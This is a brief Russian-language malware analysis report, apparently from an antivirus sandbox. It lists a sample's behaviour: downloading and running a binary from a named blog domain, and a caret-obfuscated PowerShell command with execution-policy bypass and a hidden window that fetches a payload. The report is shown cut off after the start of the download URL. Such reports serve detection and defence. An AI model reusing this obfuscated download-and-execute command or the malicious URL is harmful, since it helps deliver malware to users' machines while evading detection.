Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- https://blogwriter.co.in/text/ferry.bin как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "P^O^Wer^S^h^e^LL^.exe -^EXeC^U^t^i^ON^pO^liCY bYpa^SS ^-^nOP^Ro^fIlE -Wi^n^d^OwS^tY^Le^ HId^DeN ^(NEW-Objec^t SYSTe^M.^neT^.wEbc^lI^enT).dOWn^lO^ad^FI^le(^'https://blogwriter....
Сетевая активность
UDP
- DNS ASK bl####iter.co.in
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "P^O^Wer^S^h^e^LL^.exe -^EXeC^U^t^i^ON^pO^liCY bYpa^SS ^-^nOP^Ro^fIlE -Wi^n^d^OwS^tY^Le^ HId^DeN ^(NEW-Objec^t SYSTe^M.^neT^.wEbc^lI^enT).dOWn^lO^ad^FI^le(^'https://blogwriter....' (со скрытым окном)
